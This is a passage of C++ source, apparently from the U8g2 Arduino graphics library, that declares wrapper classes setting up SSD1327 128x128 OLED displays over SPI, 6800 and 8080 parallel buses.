u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_WS_128X128_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_WS_128X128_1_6800 : public U8G2 { public: U8G2_SSD1327_WS_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_1_8080 : public U8G2 { public: U8G2_SSD1327_WS_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_EA_W128128_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_EA_W128128_2_6800 : public U8G2 { public: U8G2_SSD1327_EA_W128128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_2_8080 : public U8G2 { public: U8G2_SSD1327_EA_W128128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_MIDAS_128X128_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_MIDAS_128X128_2_6800 : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_2_8080 : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_ZJY_128X128_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_ZJY_128X128_2_6800 : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_2_8080 : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_WS_128X128_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_WS_128X128_2_6800 : public U8G2 { public: U8G2_SSD1327_WS_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_2_8080 : public U8G2 { public: U8G2_SSD1327_WS_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_EA_W128128_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_EA_W128128_F_6800 : public U8G2 { public: U8G2_SSD1327_EA_W128128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_F_8080 : public U8G2 { public: U8G2_SSD1327_EA_W128128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_MIDAS_128X128_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_MIDAS_128X128_F_6800 : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_F_8080 : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_ZJY_128X128_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_ZJY_128X128_F_6800 : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_F_8080 : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { 